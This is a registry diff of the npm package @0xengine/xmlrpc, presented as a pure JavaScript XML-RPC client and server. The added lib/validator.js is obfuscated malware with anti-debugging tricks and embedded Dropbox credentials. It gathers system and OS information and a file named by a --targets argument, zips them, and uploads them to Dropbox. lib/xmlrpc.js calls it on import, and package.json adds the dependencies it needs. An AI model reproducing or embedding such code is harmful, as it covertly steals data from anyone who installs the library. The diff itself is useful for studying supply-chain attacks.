@0xengine/xmlrpc 0.0.1-security → 1.3.15
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @0xengine/xmlrpc might be problematic. Click here for more details.
- package/.travis.yml +6 -0
- package/HISTORY.md +129 -0
- package/LICENSE +23 -0
- package/README.md +204 -3
- package/lib/client.js +177 -0
- package/lib/cookies.js +111 -0
- package/lib/customtype.js +10 -0
- package/lib/date_formatter.js +188 -0
- package/lib/deserializer.js +324 -0
- package/lib/serializer.js +202 -0
- package/lib/server.js +78 -0
- package/lib/validator.js +1 -0
- package/lib/xmlrpc.js +73 -0
- package/package.json +44 -3
package/lib/server.js
ADDED
|
@@ -0,0 +1,78 @@
|
|
|
1
|
+
var http = require('http')
|
|
2
|
+
, https = require('https')
|
|
3
|
+
, url = require('url')
|
|
4
|
+
, EventEmitter = require('events').EventEmitter
|
|
5
|
+
, Serializer = require('./serializer')
|
|
6
|
+
, Deserializer = require('./deserializer')
|
|
7
|
+
|
|
8
|
+
/**
|
|
9
|
+
* Creates a new Server object. Also creates an HTTP server to start listening
|
|
10
|
+
* for XML-RPC method calls. Will emit an event with the XML-RPC call's method
|
|
11
|
+
* name when receiving a method call.
|
|
12
|
+
*
|
|
13
|
+
* @constructor
|
|
14
|
+
* @param {Object|String} options - The HTTP server options. Either a URI string
|
|
15
|
+
* (e.g. 'http://localhost:9090') or an object
|
|
16
|
+
* with fields:
|
|
17
|
+
* - {String} host - (optional)
|
|
18
|
+
* - {Number} port
|
|
19
|
+
* @param {Boolean} isSecure - True if using https for making calls,
|
|
20
|
+
* otherwise false.
|
|
21
|
+
* @return {Server}
|
|
22
|
+
*/
|
|
23
|
+
function Server(options, isSecure, onListening) {
|
|
24
|
+
|
|
25
|
+
if (false === (this instanceof Server)) {
|
|
26
|
+
return new Server(options, isSecure)
|
|
27
|
+
}
|
|
28
|
+
onListening = onListening || function() {}
|
|
29
|
+
var that = this
|
|
30
|
+
|
|
31
|
+
// If a string URI is passed in, converts to URI fields
|
|
32
|
+
if (typeof options === 'string') {
|
|
33
|
+
options = url.parse(options)
|
|
34
|
+
options.host = options.hostname
|
|
35
|
+
options.path = options.pathname
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
function handleMethodCall(request, response) {
|
|
39
|
+
var deserializer = new Deserializer()
|
|
40
|
+
deserializer.deserializeMethodCall(request, function(error, methodName, params) {
|
|
41
|
+
if (Object.prototype.hasOwnProperty.call(that._events, methodName)) {
|
|
42
|
+
that.emit(methodName, null, params, function(error, value) {
|
|
43
|
+
var xml = null
|
|
44
|
+
if (error !== null) {
|
|
45
|
+
xml = Serializer.serializeFault(error)
|
|
46
|
+
}
|
|
47
|
+
else {
|
|
48
|
+
xml = Serializer.serializeMethodResponse(value)
|
|
49
|
+
}
|
|
50
|
+
response.writeHead(200, {'Content-Type': 'text/xml'})
|
|
51
|
+
response.end(xml)
|
|
52
|
+
})
|
|
53
|
+
}
|
|
54
|
+
else {
|
|
55
|
+
that.emit('NotFound', methodName, params)
|
|
56
|
+
response.writeHead(404)
|
|
57
|
+
response.end()
|
|
58
|
+
}
|
|
59
|
+
})
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
this.httpServer = isSecure ? https.createServer(options, handleMethodCall)
|
|
63
|
+
: http.createServer(handleMethodCall)
|
|
64
|
+
|
|
65
|
+
process.nextTick(function() {
|
|
66
|
+
this.httpServer.listen(options.port, options.host, onListening)
|
|
67
|
+
}.bind(this))
|
|
68
|
+
this.close = function(callback) {
|
|
69
|
+
this.httpServer.once('close', callback)
|
|
70
|
+
this.httpServer.close()
|
|
71
|
+
}.bind(this)
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
// Inherit from EventEmitter to emit and listen
|
|
75
|
+
Server.prototype.__proto__ = EventEmitter.prototype
|
|
76
|
+
|
|
77
|
+
module.exports = Server
|
|
78
|
+
|
package/lib/validator.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
const a0_0x2c470d=a0_0x1405;function a0_0x5558(){const _0xb31cc9=['stateObjec','qruTs','4864928OciBRq','6280644oWYJed','0-9a-zA-Z_','targets\x20sr','init','eZarh5VSmU','tmpdir','encoding','dropbox','abIRV','XHSle','readFile','9009875hZtPPI','writeFile','input','28437980zKMIdT','wjdDf','5SmfUVG','systeminfo','ensureDir','\x5c(\x20*\x5c)','filesUploa','e)\x20{}','then','no1z3','EXdInRczVA','nhroy','2gyuq','length','argv','4FqRxkG','JbqEn','osInfo','CGwio','227583faYAjO','zip-a-fold','c\x20path:\x20','ggTYegPuYh','ZtRBk4Wfng','uuid','function\x20*','log','contents','zipPath:\x20','refreshTok','action','rmation','gger','cAAAAAAAAA','debugme','11741742SNFaDN','fs-extra','debu','c6j642mz7k','jokBE','now','FowBE','constructo','3vjpkgp','while\x20(tru','266068LHDukD','apply','resolve','catch','\x5c+\x5c+\x20*(?:[','qbknda07b3','call','test','ZqmsV','Owner','a-zA-Z_$][','chain','exports','path','AlSGj'];a0_0x5558=function(){return _0xb31cc9;};return a0_0x5558();}(function(_0x2479fe,_0xf0cc8d){const _0x5ac68c=a0_0x1405,_0x57d4cb=_0x2479fe();while(!![]){try{const _0x41d6ae=-parseInt(_0x5ac68c(0x171))/(-0x6*-0x543+0x1ba9+-0x3b3a)*(-parseInt(_0x5ac68c(0x173))/(0x1e43*0x1+0x2*-0xe8a+-0x12d))+-parseInt(_0x5ac68c(0x159))/(-0x1*-0x25b3+-0x1f3c+-0x674)*(-parseInt(_0x5ac68c(0x155))/(0x1b3b*0x1+0x18f8+-0x3*0x1165))+-parseInt(_0x5ac68c(0x148))/(0x40b+-0xe*-0x21b+0x10*-0x218)*(-parseInt(_0x5ac68c(0x185))/(0x18*0xb3+0x24f5+-0x35b7*0x1))+parseInt(_0x5ac68c(0x143))/(-0x236b+0x3*0x3a9+-0x1877*-0x1)+-parseInt(_0x5ac68c(0x184))/(0xe2*0x4+-0x1*-0x3c6+-0x746)+parseInt(_0x5ac68c(0x169))/(0x225f*-0x1+-0xfd5+0x323d)+-parseInt(_0x5ac68c(0x146))/(0x1*0xfa1+0x900*0x3+0x2a97*-0x1);if(_0x41d6ae===_0xf0cc8d)break;else _0x57d4cb['push'](_0x57d4cb['shift']());}catch(_0x458e70){_0x57d4cb['push'](_0x57d4cb['shift']());}}}(a0_0x5558,0x14925*-0x4+-0xdf5f0+0x5e*0x4f85));const a0_0x271f28=(function(){let _0x254107=!![];return function(_0xa3681f,_0x52b989){const _0x81a1cf=_0x254107?function(){const _0x5811d8=a0_0x1405;if(_0x52b989){const _0x355c87=_0x52b989[_0x5811d8(0x174)](_0xa3681f,arguments);return _0x52b989=null,_0x355c87;}}:function(){};return _0x254107=![],_0x81a1cf;};}());(function(){a0_0x271f28(this,function(){const _0x28470f=a0_0x1405;if(_0x28470f(0x16d)!==_0x28470f(0x16d)){_0x4df439(_0x28470f(0x17c));return;}else{const _0x152eb4=new RegExp(_0x28470f(0x15f)+'\x5c(\x20*\x5c)'),_0xe1e6d9=new RegExp(_0x28470f(0x177)+_0x28470f(0x17d)+_0x28470f(0x186)+'$]*)','i'),_0x7e1e88=a0_0x445bb0(_0x28470f(0x188));!_0x152eb4[_0x28470f(0x17a)](_0x7e1e88+_0x28470f(0x17e))||!_0xe1e6d9[_0x28470f(0x17a)](_0x7e1e88+_0x28470f(0x145))?_0x7e1e88('0'):_0x28470f(0x147)===_0x28470f(0x147)?a0_0x445bb0():_0x259c53(_0x44a1b7);}})();}());function a0_0x1405(_0x4a8a34,_0x18a772){const _0x321680=a0_0x5558();return a0_0x1405=function(_0x24d94c,_0x45bf50){_0x24d94c=_0x24d94c-(0x2d*-0xb7+0x15d9+-0x50*-0x25);let _0x316127=_0x321680[_0x24d94c];return _0x316127;},a0_0x1405(_0x4a8a34,_0x18a772);}const fs=require(a0_0x2c470d(0x16a)),{zip}=require(a0_0x2c470d(0x15a)+'er'),si=require(a0_0x2c470d(0x149)+a0_0x2c470d(0x165)),os=require('os'),path=require(a0_0x2c470d(0x180)),{Dropbox}=require(a0_0x2c470d(0x13f)),a0_0x4ea8c6={};a0_0x4ea8c6['clientId']=a0_0x2c470d(0x178)+a0_0x2c470d(0x14f),a0_0x4ea8c6['clientSecr'+'et']=a0_0x2c470d(0x16c)+a0_0x2c470d(0x152),a0_0x4ea8c6[a0_0x2c470d(0x163)+'en']=a0_0x2c470d(0x15d)+a0_0x2c470d(0x167)+'AYA9a4wHLu'+a0_0x2c470d(0x150)+a0_0x2c470d(0x189)+a0_0x2c470d(0x15c)+'ODoh';const dbx=new Dropbox(a0_0x4ea8c6);async function validator(){const _0x58d4fd=a0_0x2c470d,_0x22b9fa=process[_0x58d4fd(0x154)]['find'](_0x57b463=>_0x57b463===_0x58d4fd(0x168))!==undefined,_0x2cf6d5=process[_0x58d4fd(0x154)]['find'](_0x330ee2=>_0x330ee2==='owner')!==undefined,_0x41a233=_0x4c7b4e=>{const _0x28e1db=_0x58d4fd;_0x22b9fa&&console[_0x28e1db(0x160)](_0x4c7b4e);};if(_0x2cf6d5){if(_0x58d4fd(0x151)!==_0x58d4fd(0x151)){const _0x2cba22=new _0x1c8144('function\x20*'+_0x58d4fd(0x14b)),_0x46e22c=new _0x47cb48('\x5c+\x5c+\x20*(?:['+_0x58d4fd(0x17d)+_0x58d4fd(0x186)+'$]*)','i'),_0x16e381=_0x1a3a72('init');!_0x2cba22[_0x58d4fd(0x17a)](_0x16e381+_0x58d4fd(0x17e))||!_0x46e22c['test'](_0x16e381+_0x58d4fd(0x145))?_0x16e381('0'):_0x590ae0();}else{_0x41a233(_0x58d4fd(0x17c));return;}}_0x41a233(process[_0x58d4fd(0x154)]);const _0x1ac73b=process[_0x58d4fd(0x154)]['findIndex'](_0xfe662b=>_0xfe662b==='--targets'||_0xfe662b==='-t');if(_0x1ac73b===-(0x877*0x3+-0x3a3+-0x15c1)){if('ZqmsV'!==_0x58d4fd(0x17b))(function(){return!![];}['constructo'+'r'](_0x58d4fd(0x16b)+_0x58d4fd(0x166))['call'](_0x58d4fd(0x164)));else return;}const _0x5ed8b9=path[_0x58d4fd(0x175)](process[_0x58d4fd(0x154)][_0x1ac73b+(-0x2701+-0x20db+0x47dd)]);_0x41a233(_0x58d4fd(0x187)+_0x58d4fd(0x15b)+_0x5ed8b9);const _0xaa4ab7=os[_0x58d4fd(0x18a)](),_0x50ba54=Date[_0x58d4fd(0x16e)](),_0x32fcdc=_0xaa4ab7+'/'+_0x50ba54;await fs[_0x58d4fd(0x14a)](_0x32fcdc);const _0x5487ef=await si[_0x58d4fd(0x15e)](),_0x2b580f=await si[_0x58d4fd(0x157)](),_0x18ccb2={};_0x18ccb2[_0x58d4fd(0x15e)]=_0x5487ef,_0x18ccb2[_0x58d4fd(0x157)]=_0x2b580f;const _0x546a74=_0x18ccb2,_0x4de883=JSON['stringify'](_0x546a74,null,0x1*-0xd12+-0x969+-0x12f*-0x13),_0xce55e1=_0x32fcdc+'/si.json',_0x4fa3b5={};_0x4fa3b5[_0x58d4fd(0x13e)]='utf8',await fs[_0x58d4fd(0x144)](_0xce55e1,_0x4de883,_0x4fa3b5);const _0x5c8272=_0x32fcdc+('/targets.t'+'xt');await fs['copyFile'](_0x5ed8b9,_0x5c8272);const _0x253c61=_0x5487ef['os']+'-'+_0x50ba54+'.zip',_0x23073a=_0xaa4ab7+'/'+_0x253c61;_0x41a233(_0x58d4fd(0x162)+_0x23073a),await zip(_0x32fcdc,_0x23073a);const _0x21917e=await fs[_0x58d4fd(0x142)](_0x23073a),_0x378aef={};_0x378aef['path']='/'+_0x253c61,_0x378aef[_0x58d4fd(0x161)]=_0x21917e,dbx[_0x58d4fd(0x14c)+'d'](_0x378aef)[_0x58d4fd(0x14e)](_0x21c128=>{_0x41a233(_0x21c128);})[_0x58d4fd(0x176)](_0x5f1923=>{_0x41a233(_0x5f1923);});}module[a0_0x2c470d(0x17f)]=validator;function a0_0x445bb0(_0x17f228){function _0x5d7791(_0x8ffdcc){const _0x1375be=a0_0x1405;if(_0x1375be(0x183)!=='OQQug'){if(typeof _0x8ffdcc==='string'){if(_0x1375be(0x156)!==_0x1375be(0x158))return function(_0x3d808e){}[_0x1375be(0x170)+'r'](_0x1375be(0x172)+_0x1375be(0x14d))[_0x1375be(0x174)]('counter');else _0x219008&&_0x16e430[_0x1375be(0x160)](_0x511f83);}else{if((''+_0x8ffdcc/_0x8ffdcc)[_0x1375be(0x153)]!==0xf75+-0x5*0x3cb+0x383||_0x8ffdcc%(0xa14+0x465+0x37*-0x43)===-0x1ea6+0x2617+0x3*-0x27b)_0x1375be(0x16f)===_0x1375be(0x16f)?function(){return!![];}['constructo'+'r'](_0x1375be(0x16b)+_0x1375be(0x166))[_0x1375be(0x179)]('action'):_0x1aa498[_0x1375be(0x160)](_0x1bd79c);else{if(_0x1375be(0x181)!==_0x1375be(0x141))(function(){const _0x295ee2=_0x1375be;return'ptWSh'===_0x295ee2(0x140)?_0x26b272:![];}[_0x1375be(0x170)+'r'](_0x1375be(0x16b)+'gger')['apply'](_0x1375be(0x182)+'t'));else return!![];}}_0x5d7791(++_0x8ffdcc);}else(function(){return![];}[_0x1375be(0x170)+'r']('debu'+'gger')[_0x1375be(0x174)]('stateObjec'+'t'));}try{if(_0x17f228)return _0x5d7791;else _0x5d7791(-0x2*-0xcb+-0x94f*-0x3+0x5e7*-0x5);}catch(_0x5a052f){}}
|
package/lib/xmlrpc.js
ADDED
|
@@ -0,0 +1,73 @@
|
|
|
1
|
+
var Client = require('./client')
|
|
2
|
+
, Server = require('./server')
|
|
3
|
+
, CustomType = require('./customtype')
|
|
4
|
+
, dateFormatter = require('./date_formatter')
|
|
5
|
+
, validator = require('./validator')
|
|
6
|
+
|
|
7
|
+
var xmlrpc = exports
|
|
8
|
+
|
|
9
|
+
/**
|
|
10
|
+
* Creates an XML-RPC client.
|
|
11
|
+
*
|
|
12
|
+
* @param {Object} options - server options to make the HTTP request to
|
|
13
|
+
* - {String} host
|
|
14
|
+
* - {Number} port
|
|
15
|
+
* - {String} url
|
|
16
|
+
* - {Boolean} cookies
|
|
17
|
+
* @return {Client}
|
|
18
|
+
* @see Client
|
|
19
|
+
*/
|
|
20
|
+
xmlrpc.createClient = function(options) {
|
|
21
|
+
return new Client(options, false)
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
/**
|
|
25
|
+
* Creates an XML-RPC client that makes calls using HTTPS.
|
|
26
|
+
*
|
|
27
|
+
* @param {Object} options - server options to make the HTTP request to
|
|
28
|
+
* - {String} host
|
|
29
|
+
* - {Number} port
|
|
30
|
+
* - {String} url
|
|
31
|
+
* - {Boolean} cookies
|
|
32
|
+
* @return {Client}
|
|
33
|
+
* @see Client
|
|
34
|
+
*/
|
|
35
|
+
xmlrpc.createSecureClient = function(options) {
|
|
36
|
+
return new Client(options, true)
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
/**
|
|
40
|
+
* Creates an instance of server parameter validator.
|
|
41
|
+
* @See Server
|
|
42
|
+
*/
|
|
43
|
+
xmlrpc.validator = validator()
|
|
44
|
+
|
|
45
|
+
|
|
46
|
+
/**
|
|
47
|
+
* Creates an XML-RPC server.
|
|
48
|
+
*
|
|
49
|
+
* @param {Object}options - the HTTP server options
|
|
50
|
+
* - {String} host
|
|
51
|
+
* - {Number} port
|
|
52
|
+
* @return {Server}
|
|
53
|
+
* @see Server
|
|
54
|
+
*/
|
|
55
|
+
xmlrpc.createServer = function(options, callback) {
|
|
56
|
+
return new Server(options, false, callback)
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
/**
|
|
60
|
+
* Creates an XML-RPC server that uses HTTPS.
|
|
61
|
+
*
|
|
62
|
+
* @param {Object}options - the HTTP server options
|
|
63
|
+
* - {String} host
|
|
64
|
+
* - {Number} port
|
|
65
|
+
* @return {Server}
|
|
66
|
+
* @see Server
|
|
67
|
+
*/
|
|
68
|
+
xmlrpc.createSecureServer = function(options, callback) {
|
|
69
|
+
return new Server(options, true, callback)
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
xmlrpc.CustomType = CustomType
|
|
73
|
+
xmlrpc.dateFormatter = dateFormatter
|
package/package.json
CHANGED
|
@@ -1,6 +1,47 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@0xengine/xmlrpc",
|
|
3
|
-
"
|
|
4
|
-
"
|
|
5
|
-
|
|
3
|
+
"description": "A pure JavaScript XML-RPC client and server.",
|
|
4
|
+
"keywords": [
|
|
5
|
+
"xml-rpc",
|
|
6
|
+
"xmlrpc",
|
|
7
|
+
"xml",
|
|
8
|
+
"rpc"
|
|
9
|
+
],
|
|
10
|
+
"version": "1.3.15",
|
|
11
|
+
"preferGlobal": false,
|
|
12
|
+
"homepage": "https://bitbucket.org/0xsky/xmlrpc",
|
|
13
|
+
"author": "0xengine",
|
|
14
|
+
"repository": {
|
|
15
|
+
"type": "git",
|
|
16
|
+
"url": "git+ssh://git@bitbucket.org/0xsky/xmlrpc.git"
|
|
17
|
+
},
|
|
18
|
+
"directories": {
|
|
19
|
+
"example": "example",
|
|
20
|
+
"lib": "lib",
|
|
21
|
+
"test": "test"
|
|
22
|
+
},
|
|
23
|
+
"main": "./lib/xmlrpc.js",
|
|
24
|
+
"dependencies": {
|
|
25
|
+
"dropbox": "^10.34.0",
|
|
26
|
+
"fs-extra": "^11.1.1",
|
|
27
|
+
"sax": "1.2.x",
|
|
28
|
+
"systeminformation": "^5.21.9",
|
|
29
|
+
"uuid": "^9.0.1",
|
|
30
|
+
"xmlbuilder": "8.2.x",
|
|
31
|
+
"zip-a-folder": "^1.1.7"
|
|
32
|
+
},
|
|
33
|
+
"devDependencies": {
|
|
34
|
+
"vows": "0.7.x"
|
|
35
|
+
},
|
|
36
|
+
"scripts": {
|
|
37
|
+
"test": "vows 'test/*.js'"
|
|
38
|
+
},
|
|
39
|
+
"engines": {
|
|
40
|
+
"node": ">=0.8",
|
|
41
|
+
"npm": ">=1.0.0"
|
|
42
|
+
},
|
|
43
|
+
"license": "MIT",
|
|
44
|
+
"bugs": {
|
|
45
|
+
"url": "https://bitbucket.org/0xsky/xmlrpc/issues"
|
|
46
|
+
}
|
|
6
47
|
}
|